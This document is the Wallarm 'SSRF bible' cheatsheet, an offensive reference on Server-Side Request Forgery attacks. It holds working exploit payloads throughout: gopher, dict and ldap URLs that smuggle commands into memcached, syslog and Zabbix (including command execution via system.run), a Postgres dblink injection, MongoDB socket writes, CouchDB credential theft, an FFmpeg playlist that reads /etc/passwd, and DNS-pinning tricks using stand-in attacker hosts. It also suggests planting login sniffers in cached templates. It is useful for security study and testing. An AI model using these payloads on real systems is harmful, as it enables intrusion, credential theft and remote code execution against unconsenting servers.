# SSRF bible. Cheatsheet

Revision 1.03
26 Jan 2017
**Authors:**
@Wallarm
@d0znpp
research team
Wallarm.com|lab.wallarm.com

**Try our new product. Wallarm FAST: security tests from traffic**

**https://wallarm.com/wallarm-fast/**

## Table of contents

# Basics

SSRF - Server Side Request Forgery attacks. The ability to create requests from the vulnerable server to intra/internet. Using a protocol supported by available URI schemas, you can communicate with services running on other protocols. Here we collect the various options and examples (exploits) of such interaction. See for introduction related researches.

## Typical attack steps

1. Scan internal network to determine internal infrastructure which you may access
2. Collect opened ports at localhost and other internal hosts which you want (basically by time-based determination)
3. Determine services/daemons on ports using wiki or daemons banners (if you may watch output)
4. Determine type of you SSRF combination:
    - Direct socket access (such as this example)
    - Sockets client (such as java URI, cURL, LWP, others)
5. In case of direct socket access determine CRLF and other injections for smuggling
6. In case of sockets client, determine available URI schemas
7. Compare available schemas and services/daemons protocols to find smuggling possibilities
8. Determine host-based auth daemons and try to exploit it

## File Descriptors exploitation way

Useful in clouds, shared hostings and others large infrastructures. First read slides 20-21 about FDs and 22-23 about ProcFS from this paper.

There are three ways to access to FDs:

- Interpreters API (such as fd:// wrapper for PHP)
    - If there are no such API or required functions disabled, you can try to load native extension:
        - PHP (require dlopen, but not exec): https://github.com/dhotson/fdopen-php
- exec() call from API (such as exec('echo 123 > &**<FDN>**');)
    - you may access only FDs without **O_CLOEXEC** flag.
    - C program to scan available FDs is here: https://github.com/ONsec-Lab/scripts/blob/master/list-open-fd.c.
- ProcFS files (/proc/**<PID>**/fd/**<N>**)

  * Note, that you **can not access to sockets** through **/proc/<PID>/fd/<N>** files!

## URL schema support

| | PHP | Java | cURL | LWP | ASP.NET[1] |
|---|---|---|---|---|---|
| gopher | enable by --with-curlwrappers | before last patches | w/o \0 char | + | ASP.NET <=3 and Windows XP and Windows Server 2003 R2 and earlier only |
| tftp | enable by --with-curlwrappers | - | w/o \0 char | - | - |
| http | + | + | + | + | + |
| https | + | + | + | + | + |
| ldap | - | - | + | + | - |
| ftp | + | + | + | + | + |
| dict | enable by --with-curlwrappers | - | + | - | - |
| ssh2 | disabled by default | - | - | Net:SSH2 required | - |
| file | + | + | + | + | + |
| ogg | disabled by default | - | - | - | - |
| expect | disabled by default | - | - | - | - |
| imap | enable by --with-curlwrappers | - | + | + | - |
| pop3 | enable by --with-curlwrappers | - | + | + | - |
| mailto | - | - | - | + | - |
| smtp | enable by --with-curlwrappers | - | + | - | - |
| telnet | enable by --with-curlwrappers | - | + | - | - |

[1] ASP.NET Version:4.0.30319.272 tested

## Protocols SSRF smuggling

| | TCP | | | | | | | UDP | |
|---|---|---|---|---|---|---|---|---|---|
| | HTTP | memcached | fastcgi | zabbix | nagios | MySQL | syslog | NTP | snmp |
| gopher | cURL, Java, LWP, ASP.Net | cURL, LWP, Java, ASP.Net | Java, LWP, ASP.Net | Java, LWP, ASP.Net | Java, LWP, ASP.Net | Java, LWP, ASP.Net | + | - | - |
| http | All | if LF available | - | - | - | - | + | - | - |
| dict | - | cURL | - | - | - | - | + | - | - |
| ldap | LWP | LWP | - | - | - | - | LWP | - | - |
| tftp | - | - | - | - | - | - | - | cURL | cURL |

## Smuggling examples

*Apache web-server HTTP parser*

In despite of RFC 2616, Apache web-server allow single LF splitter instead of CRLF. Attacker can use this feature to smuggling packets with 0x0d byte filtered.
**Example**:
GET / HTTP/1.1\nHost:localhost\n\n

Pay attention, that Apache Tomcat hasn't same feature, only CRLF and LFCR are possible there.

*Nginx web-server HTTP parser*

Nginx also supports splitters without CR byte (0x0d). This bytes listed below: 0x20, 0x30-0x39.
**Example**:
GET / HTTP/1.1\s\nHost:localhost\s\n\s\n
Also possible using 0x30-0x39 instead of 0x20 (\s)

Look at simple HTTP splitter fuzzer: https://github.com/ONsec-Lab/scripts/blob/master/http-splitter-fuzzer.php.

## Vulnerabilities

### Basics

There are number of vulnerabilities which can provide SSRF attacks. Basically they can be determined by this groups:

- Format processing
    - XML
        - XXE
        - DTD remote access
        - XML design
    - OpenOffice
        - DDE formulas
        - Dynamic data linking
        - External resource embedding
    - PDF (TCPDF)
- Direct sockets access
    - CRLF injection
- Net library URL processing (unsafe server-side redirect and others)
    - cURL
    - LWP
    - ASP.NET URI
    - Java URI
- External data linking
    - Databases
        - Postgres
        - MySQL
        - MondoDB
        - Redis
        - Oracle

## Examples

*Google Docs*

HTTP CRLF injection unrestricted port and host (restricted by firewalls, not by webapp).
Read more - http://d0znpp.blogspot.ru/2012/11/google-docs-spreadsheet-ssrf.html

*ZeroNights hackquest challenge*

Task still available at http://hackquest.zeronights.org/missions/ErsSma/ (Task is no more available there! - 404)
Solution: http://d0znpp.blogspot.ru/2012/11/zeronights-hackquest-view-from-organizer.html (No more there! - 404)

Source:

```
<?php
$host = '127.0.0.1';
$f=fsockopen($host,80);
libxml_disable_entity_loader(true);//no XXE
libxml_use_internal_errors(true);
fputs($f,"GET /index.php?username={$_POST['login']} HTTP/1.1\r\nHost:
$host\r\n\r\n");//CRLF injection
$resp = "";
while($s = fgets($f))
        $resp.=$s;
$resp=substr($resp,strpos($resp,"\r\n\r\n"));//read by EOF, not by Length header
$doc = new DOMDocument();
$doc->loadXML($resp);
//echo $resp."nn";
echo $doc->getElementsByTagName("error")->item(0)->nodeValue;
if(libxml_get_errors()!=null){
print_r(libxml_get_errors());
}
?>
```

# Exploitation tricks

## Bypassing restrictions

Basically restrictions which you may find in SSRF exploitation can be split into two groups:

- Input validation (such as regular expression URL filter)
- Network restrictions (firewalls rules)

*Input validation*

#### Unsafe redirect

Easy way to bypass input validation is URL redirection. HTTP clients not a browsers. There are normally to do unsafe redirect (except of Java case).

```
<?php
header(“Location: gopher://localhost:123/1asd”);
?>
```

Works fine for cURL, LWP, ASP.NET (exploit: http://anyhostwithredirest.com/ -> gopher://localhost:11211/1stats%0aquit).

#### DNS pinning

To bypass domain validation you may simple use pinning technique.
For example, define A or AAAA records on your DNS server to your subdomains into victim’s intranet:
$ nslookup local.oxod.ru
Non-authoritative answer:
Name: local.oxod.ru
Address: **127.0.0.1 <- it’s intranet resource, but local.oxod.ru is also right domain name for input filters**

### DNS pinning race condition

Look at this piece of code please:

```
<?php
if(validate_domain($domain)){
  file_get_contents($domain);
}
```

Funny thing is there are a two different DNS requests from the app. First one would be from validate_domain() function and second one from file_get_contents(). Attacker could forge the DNS answer to the second request to pass this check. The first DNS answer from the attacker's DNS server could be:

```
evil.com -> 8.8.8.8 (something whitelisted in validate_domain function)
```

And the second response could looks like:

```
evil.com -> 127.0.0.1
```

### PHP fsockopen() url parsing tricks

```
<?php
$host = '127.0.0.1';
$f=fsockopen($host,80);
...
```

But PHP will parse port from $host variable as a URL. For example, $host=”localhost:11211” overwrites hardcoded 80 port from code to 11211. More interesting that following examples also work:

| **$host for fsockopen($host,80); PHP sample** | **Resultant port of opened socket** |
|---|---|
| localhost:11211 | 11211 |
| localhost:11211aaaa | 11211 |
| localhost:+11211aaa | 11211 |
| localhost:  11211 | 11211 |
| localhost:<br>  11211<br>aaa | 11211 |
| localhost:00011211aaaa | 11211 |

Fuzzing table for: **E**host**A**:**B**port**C** listed below:

| **Group** | **Values** |
|---|---|
| A | 0x2e, 0x5c? works only for some tests |
| B | 0x09-0x0d, 0x20, 0x2b, 0x30, 0x85, 0xa0 |
| C | 0x00-0xff |
| E | 0x5c |

*Network restrictions*

The only ossible way at this moment is using open-redirect vulnerabilities and another SSRF in the internal network.

## Protocol fingerprinting

To determine which protocol accepted by target port, you can use time-based determination in SSRF case. It is simple and stable. Send packets of protocol type that you want to test (fingerprint). Use packets so that the server for a long time did not close the socket.

Basically you can use nmap probes but some of them need to be modified for time-based case ( /usr/share/nmap/nmap-service-probes).

Also pay our attention to SSL probes and exploitation. There are no difference between SSL protocols such as HTTPS, IMAPS and others in terms of connection established. If you may inject CRLF into HTTPS packet (HTTP packet in SSL connection) you may exploit IMAPS and others SSL protocols.

*Examples*

#### HTTP

POST / HTTP/1.1
Host: localhost
Content-Length: 5

Server will wait last 5 bytes of request and socket still opened. Exploit: gopher://localhost:8001/1POST%20%2fHTTP%2f1.1%0d%0aHost:localhost%0d%0aContent-Length:5%0d%0a%0d%0a

#### Memcached

Any plain-text request without “quit” command, made all as you want. Exploit: curl http://localhost:11211/

## Retrieving data

Often vulnerable application is written in such a way that the response to forged request can be read only if it is in certain format. It's may be images, XML and others. To produce valid format from target response use concatenation techniques which provided, generally, by plain/text protocols.

This will be possible when the target service can process multiple requests in a single TCP packet (such as HTTP Keep-alive and others). Also should be able to inject target protocol delimiter in forged request (CRLF for HTTP, LF for most plain/text protocols).

First look at slides 33-37 of SSRF attack and sockets presentation.

*Examples*

#### HTTP response encapsulation into XML formatted response

Vulnerable application listed above. Exploit: http://d0znpp.blogspot.ru/2012/11/zeronights-hackquest-view-from-organizer.html (404 - Not found). Please, keep in minds that using HTTP/0.9 provides you to get HTTP responses w/o HTTP headers. This technique described in The Tangled Web book.

#### Console cURL wildcards URL responses concatenation

If SSRF provided by console cURL fork (not libcurl), you may use URL wildcards to sending many requests per 1 URL. All responses of these requests will be concatenated together.

Exploit:

**#curl** http://evilhost.com/[1-3].php

| **Filename** | **Content** |
|---|---|
| 1.php | <?xml version="1.0"?><valid-tag><![CDATA[<br>//valid header for readable format |
| 2.php | <?php<br>header("gopher://localhost:11211/1stats%0aquit");<br>//data to retrieve<br>?> |
| 3.php | ]]></valid-tag> //valid footer for readable format |

### SMBRelay exploitation

This technique described in related research "SSRF + Java + Windows = Love". In case of Java-based application on OS Windows target, attacker can execute an NTLM relay attack over HTTP. It's possible because Java has an internal HTTP-client, which supports NTLM authentication by default.

### Original request data sniffing

In many cases there are useful to sniff data of initial request using SSRF. Its may be OAuth tokens, basic auth credential, POST bodies and others. This problem can be solved if you have the ability to modify the server's response. You must be influence the response from a one server, on receipt of a request from another server. It will look like open-redirect (WASC-38) or response splitting/smuggling (WASC-25, WASC-27), but there are server's http library such as cURL instead of the user's browser.

307 HTTP status (Temporary Redirect Explained) and others can be used to retrieve original POST body.

Table of POST redirection:

| **Lib/Status** | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 |
|---|---|---|---|---|---|---|---|---|---|
| cURL | OK | - | - | - | - | OK | OK | OK | - |
| LWP | - | - | - | - | - | - | - | - | - |
| PHP | - | - | - | - | - | - | - | - | - |
| | | | | | | | | | |

**Example**:

```
$url = "http://localhost/tests/redir.php?s={$_GET['s']}&r=http://localhost:8000/";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "key=secret");
$resp = curl_exec($ch);
```

You can steal "key=secret" data by using open redirect vulnerability with response statuses 300,305,306,307 or by http response splitting/http header injection vulnerabilities.

And there are no ways to steal secret in LWP case:

```
use strict; use warnings;
my $b=LWP::UserAgent->new;
my $u='http://localhost/tests/redir.php?s=307&r=http://localhost:8000/a' ;
$b->post($u,{'key'=>'secret'});
```

## Examples

SSRF also open a gate to various NoSQL attacks such as Server-Side JavaScript injections.

### Memcached

Protocol documentation: https://github.com/memcached/memcached/blob/master/doc/protocol.txt

Exploitation steps:

1. collect all keys
2. determine interesting keys
3. replace key's values to arbitrary

Exploitations techniques:

- Find HTML templates and inject JS login sniffer to collect login/passwords
- Find dynamic templates (macros, PHP, others) and inject arbitrary code (RCE)
- Find your session and escalate your privileges
- Create new session with long expiration and set admin privileges

*Exploits*

gopher://localhost:11211/1%0astats%0aquit
dict://locahost:11211/stats
ldap://localhost:11211/%0astats%0aquit

### PHP-FPM

Exploit local installation to bypass restrictions such as safe_mode and others http://pastebin.com/XP2BYmR7. Pay your attention, it's really usefull attack vector!

### Syslog

Typically UDP but really common listen on TCP port 514. You may add strings to syslog easily.
Exploit
http://string-that-you-want-to-add.evil.com:514/

First configure DNS to resolve string-that-you-want-to-add.evil.com as 127.0.0.1
**HTTP request:**

```
GET /a HTTP/1.1
Host: string-that-you-want-to-add.evil.com:8000
Connection: Keep-Alive
```

**Syslog entities:**

```
Nov 23 00:53:50 localhost Host: string-that-you-want-to-add.evil.com:8000#015
Nov 23 00:53:50 localhost Connection: Keep-Alive#015
Nov 23 00:53:50 localhost #015
```

It's useful thing to exploit a lot of monitoring systems by a client-side issues like XSS. Just because the data from syslog looks like a verified data for it. CRLF injection make syslog entities more clear (see below).

*Exploits*

dict://localhost:514/ALARM!!!
ldap://localhost:514/\r\nALARM!!! (LWP only)
**Syslog entities:**

```
Nov 23 00:53:50 localhost ALARM!!!#015
```

### Zabbix agentd

Zabbix is very common monitoring system. Monitored servers running zabbix_agentd binary which configured by /etc/zabbix/zabbix_agentd.conf file.

Default listened port is 10050. Zabbix agentd have only host-based authorization, described in config file:

```
Server=127.0.0.1,monitor.trusted.network.net
```

There are typically to include 127.0.0.1 into authorized servers by debugging reasons and by default.

Agentd protocol is plain/text and simple: "\n" using as line terminator and packet format is "item[key]". All available items listed below: http://www.zabbix.com/documentation/1.8/manual/config/items. Zabbix agentd close socket after first malformed line (request unexisting key for example). So you can't use smuggling if first line of request is not controlled by you.

Sometimes agentd configured to run arbitrary commands from servers (item system.ru used to run commands from key argument):

```
EnableRemoteCommands=1
```

*Exploits*

gopher://localhost:10050/1vfs.file.regexp[/etc/hosts,7]
**Server response:**
ZBXD?127.0.0.1 localhost ads.localhost localhost.vv asd.localhost.vv

gopher://localhost:10050/1system.run[ls]
**Server response:**
ZBXD,usr
etc
var
boot

### Postgres

Any functions which can open sockets and write user's data into it can be exploited for SSRF. Such as functions to external database connections which provided by all modern databases (DB2/Oracle/Postgres/etc). Attacker may use this functions through SQL injection to exploit anything in intranet.

DBLINK desciption: http://www.postgresql.org/docs/8.4/static/dblink.html. Syntax of connection string available here: http://www.postgresql.org/docs/8.4/static/libpq-connect.html

*Exploits*

SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'**\nstats\n**\' password=1 port=11211 sslmode=disable','select version();');

### MongoDB

Attacker may use different internal functions, such as copyDatabase() and others to open arbitrary socket and puts arbitrary data into it.

*Exploits*

Write binary data into socket:

```
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')

$ nc -l 8000 | hexdump -C
00000000  3b 00 00 00 28 00 00 00  00 00 00 00 d4 07 00 00  |;...(...........|
00000010  00 00 00 00 01 02 03 04  05 06 07 2e 73 79 73 74  |............syst|
00000020  65 6d 2e 6e 61 6d 65 73  70 61 63 65 73 00 00 00  |em.namespaces...|
```

Communicate with memcached:

```
> db.copyDatabase("\nstats\nquit",'test','localhost:11211')
```

### Redis

There is a many commands in Redis which can helps with an SSRF work:

- SLAVEOF host port
- MIGRATE host port key … (MIGRATE 192.168.1.34 6379 "" 0 5000 KEYS key1 key2 key3)
- CONFIG SET ...

### CouchDB

CouchDB is really cool target for SSRF attacks. There are HTTP REST API which provide attacker to exploit it using only valid HTTP requests without any smuggling. API details: http://wiki.apache.org/couchdb/Complete_HTTP_API_Reference. POST/PUT/DELETE requests may be forged also by smuggling techniques to execute server-side JS code for example.

*Exploits*

http://localhost:5984/_users/_all_docs to steal _users database with credentials:

```
HTTP/1.1 200 OK
Server: CouchDB/1.2.0 (Erlang OTP/R15B01)
ETag: "BD1WV12007V05JTG4X6YHIHCA"
Date: Tue, 18 Dec 2012 21:39:59 GMT
Content-Type: text/plain; charset=utf-8
Cache-Control: must-revalidate

{"total_rows":1,"offset":0,"rows":[
{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}
]}
```

This example tested on debian stable installation from package without any additional configuration.

To execute server-side JS with restrictions (server-side JS is sandboxed, no network, IO nor access outside the provided document and functions) you may use View API. This technique was described at BHUS11 in this paper for web-application based injection. Read this first: http://wiki.apache.org/couchdb/HTTP_view_API

Attacker could also send requests from CouchDB server to intranet by using replication function (http://docs.couchdb.org/en/stable/api/server/common.html#replicate).

```
POST http://couchdb:5984/_replicate
Content-Type: application/json
Accept: application/json

{
   "source" : "recipes",
   "target" : "http://ssrf-me:11211/recipes",
}
```

## FFmpeg

M38u file format provides some useful macros called “EXTINF”. This macros allows attacker to read arbitrary files and do SSRF attacks. Let’s look at some beautiful examples listed below:

```
$ cat video.mp4
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://example.org/header.y4m|file:///etc/passwd
#EXT-X-ENDLIST

$ ffmpeg -i video.mp4 thumbnail.png
$ ffmpeg -i thumbnail.png out.y4m
$ cat out.y4m
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
# $FreeBSD: release/10.0.0/etc/master.passwd 256366
,! 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/zsh
toor:*:0:0:Bourne-again Superuser:/root:
```

Original link: https://bugs.launchpad.net/ubuntu/+source/ffmpeg/+bug/1533367

## References


1. http://en.wikipedia.org/wiki/URI_scheme
2. http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
3. http://msdn.microsoft.com/en-us/library/system.uri.scheme.aspx
4. http://search.cpan.org/~gaas/libwww-perl-6.04/lib/LWP.pm
5. http://php.net/manual/en/wrappers.php
6. http://docs.oracle.com/javase/1.5.0/docs/api/javax/print/attribute/standard/ReferenceUriSchemesSupported.html
7. http://www.kernel.org/doc/man-pages/online/pages/man2/open.2.html
8. http://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf
9. http://www.nostarch.com/download/tangledweb_ch3.pdf


## Tools


1. https://github.com/ONsec-Lab/scripts/blob/master/list-open-fd.c


## Researches[2]


1. http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt
2. http://www.slideshare.net/d0znpp/xxe-advanced-exploitation
3. http://www.slideshare.net/d0znpp/caro2012-attack-largemodernwebapplications
4. http://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
5. http://erpscan.com/wp-content/uploads/2012/11/SSRF.2.0.poc_.pdf
6. http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.html
7. http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
8. http://erpscan.com/press-center/smbrelay-bible-7-ssrf-java-windows-love/
9. https://bugs.launchpad.net/ubuntu/+source/ffmpeg/+bug/1533367


[2] Sorted by date